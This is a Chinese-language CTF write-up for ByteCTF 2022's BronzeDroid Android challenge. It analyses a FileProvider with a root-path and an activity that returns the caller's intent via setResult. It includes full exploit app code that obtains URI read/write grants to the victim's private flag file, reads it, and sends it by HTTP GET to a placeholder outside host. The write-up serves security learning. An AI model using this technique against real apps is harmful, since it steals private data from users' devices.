ByteDroid2022 BronzeDroid复现

APK分析

AndroidManifest.xml

FileProvider用来把 App 内部文件,用 content:// 的方式安全地共享出去

Android开始直接禁用file://共享

而@xml/file_path定义了可分享的范围:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
</paths>
  • <root-path> 的意思是:把设备文件系统的根目录 /作为可共享的基准路径
  • path="" 基本等价于:不做任何子目录限制
  • name="root" 只是一个别名(后面构造 content:// 路径时会用到)

然后的一些InitializationProvider初始化了一些组件,在启动时,似乎跟题目没有关系,emohi2什么的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.bytectf.bronzedroid" platformBuildVersionCode="32" platformBuildVersionName="12">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="32"/>
<application android:theme="@style/Theme.BronzeDroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules">
<activity android:name="com.bytectf.bronzedroid.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:name="com.bytectf.bronzedroid.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.bytectf.bronzedroid.fileprovider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
<provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.bytectf.bronzedroid.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>

MainActivity

如果action是ACTION_SHARET_TO_ME

就setResult-1,把启动时的intent原样返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.bytectf.bronzedroid;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

/* loaded from: classes3.dex */
public class MainActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = getIntent();
String action = intent.getAction();
if (action != null && action.equals("ACTION_SHARET_TO_ME")) {
setResult(-1, getIntent());
finish();
}
}
}

FlagReceiver

跟之前一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.bytectf.bronzedroid;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

/* JADX WARN: Unsupported multi-entry loop pattern (BACK_EDGE: B:7:0x0016 -> B:23:0x0026). Please submit an issue!!! */
private void writeFile(File file, String s) {
FileWriter writer = null;
try {
try {
try {
writer = new FileWriter(file, true);
writer.write(s);
writer.write(10);
writer.close();
} catch (IOException e) {
e.printStackTrace();
if (writer != null) {
writer.close();
}
}
} catch (IOException e2) {
e2.printStackTrace();
}
} catch (Throwable th) {
if (writer != null) {
try {
writer.close();
} catch (IOException e3) {
e3.printStackTrace();
}
}
throw th;
}
}
}

漏洞分析及APP构建

跟BabyDroid原理一样,返回Intent时就可以带读写权限了

官方原话:

Call this to set the result that your activity will return to its caller.

As of Build.VERSION_CODES.GINGERBREAD, the Intent you supply here can have Intent.FLAG_GRANT_READ_URI_PERMISSION and/or Intent.FLAG_GRANT_WRITE_URI_PERMISSION set. This will grant the Activity receiving the result access to the specific URIs in the Intent. Access will remain until the Activity has finished (it will remain across the hosting process being killed and other temporary destruction) and will be added to any existing set of URI permissions it already holds.

也就是说setResult 可以在原本intent设置 Intent.FLAG_GRANT_READ_URI_PERMISSION 和Intent.FLAG_GRANT_WRITE_URI_PERMISSION的情况下授予接收结果的 Activity 访问 Intent 中指定的 URI 的权限,权限将一直保持直到Activity结束(直到接收结果的 Activity 自己结束)。

MainActivity:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.bytectf.pwnbronzedroid;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import androidx.activity.EdgeToEdge;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction("ACTION_SHARET_TO_ME");
intent.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
startActivityForResult(intent,666);
}

@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
try {
InputStream inputStream = null;
inputStream = getContentResolver().openInputStream(data.getData());
byte[] flag = new byte[inputStream.available()];
inputStream.read(flag);
inputStream.close();
httpGet(new String(flag));

} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

}

private void httpGet(String msg){
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try {
URL url = new URL("http://xxxxxxxxxxxx/?msg=" + msg);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
}

image-20260127112833829